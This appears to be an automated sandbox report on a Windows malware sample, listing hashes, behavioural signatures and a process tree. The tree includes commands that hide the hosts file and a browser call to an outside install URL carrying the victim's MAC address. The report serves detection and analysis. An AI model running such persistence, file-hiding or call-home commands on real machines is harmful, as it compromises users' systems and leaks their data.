Analysis

  • max time kernel
    150s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    11/07/2024, 13:04

General

  • Target

    393bbaf3b37f91f71350b0d90b8c5b8f_JaffaCakes118.exe

  • Size

    45KB

  • MD5

    393bbaf3b37f91f71350b0d90b8c5b8f

  • SHA1

    7cf724468e4d1de2b3e2942d43bbb7a22494dffd

  • SHA256

    422f8e224315376b6fde3de23b9fcdc9065cd4efd0f733362d942e52dc93ecbe

  • SHA512

    f681fcd21bf36d1a8dc4bac4a201d882da287593a739ab09610184ffec207e077eeb6eccc5ec602d35dd8f2a8b1ee7021b3d469d2e3509267833ad9b6f8517b4

  • SSDEEP

    768:QMVvp3w/Tepe4m9OTOeaOluXSCKqeygOS/s+kru/iGFecNHyr4dqbHhGZ+FwdQOp:QMVvp3w/Bz9OT/l2SxqW/yOF46y42oZl

Score
8/10

Malware Config

Signatures

  • Adds policy Run key to start application 2 TTPs 2 IoCs
  • Drops file in Drivers directory 1 IoCs
  • Sets file to hidden 1 TTPs 1 IoCs

    Modifies file attributes to stop it showing in Explorer etc.

  • Drops file in Windows directory 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 29 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 13 IoCs
  • Views/modifies file attributes 1 TTPs 2 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3520
      • C:\Users\Admin\AppData\Local\Temp\393bbaf3b37f91f71350b0d90b8c5b8f_JaffaCakes118.exe
        "C:\Users\Admin\AppData\Local\Temp\393bbaf3b37f91f71350b0d90b8c5b8f_JaffaCakes118.exe"
        2⤵
        • Adds policy Run key to start application
        • Drops file in Drivers directory
        • Drops file in Windows directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        • Suspicious use of WriteProcessMemory
        PID:4004
        • C:\Windows\SysWOW64\attrib.exe
          attrib -s -h "C:\Windows\system32\drivers\etc\hosts"
          3⤵
          • Views/modifies file attributes
          PID:3244
        • C:\Windows\SysWOW64\attrib.exe
          attrib +s +h "C:\Windows\system32\drivers\etc\hosts"
          3⤵
          • Sets file to hidden
          • Views/modifies file attributes
          PID:4808
        • C:\program files\internet explorer\iexplore.exe
          "C:\program files\internet explorer\iexplore.exe" "http://www.qqdcf.com/install.asp?ver=081224&tgid=6688&address=DE-54-A6-AF-11-6A&regk=1&flag=2fbe0cdba112014bee6b56b64c7cae82&frandom=6165"
          3⤵
          • Modifies Internet Explorer settings
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:448
          • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
            "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:448 CREDAT:17410 /prefetch:2
            4⤵
            • Modifies Internet Explorer settings
            • Suspicious use of SetWindowsHookEx
            PID:2332
    • C:\Windows\system32\AUDIODG.EXE
      C:\Windows\system32\AUDIODG.EXE 0x300 0x428
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:4636

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

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          Downloads

          • C:\Users\Admin\AppData\Local\Temp\~DF7A9AFC46B98AD24D.TMP

            Filesize

            16KB

            MD5

            35920cec56289f8718b70930d8cbe036

            SHA1

            9aed6457e4c0eb75df11d9521f8ff3214f376ced

            SHA256

            6c73bd9c55c2a85d84b69aafcd660ed40a1a7fe70d36b8a47f43fbcbfe6c2185

            SHA512

            ef0fdd735d95a03a751f42ed99a427f5115f408dcd9cec6ae0456445419cbdb7c1a071f97d38d8d9aca917586470220f2eef20a73dc7343f737cd55bf8a9da70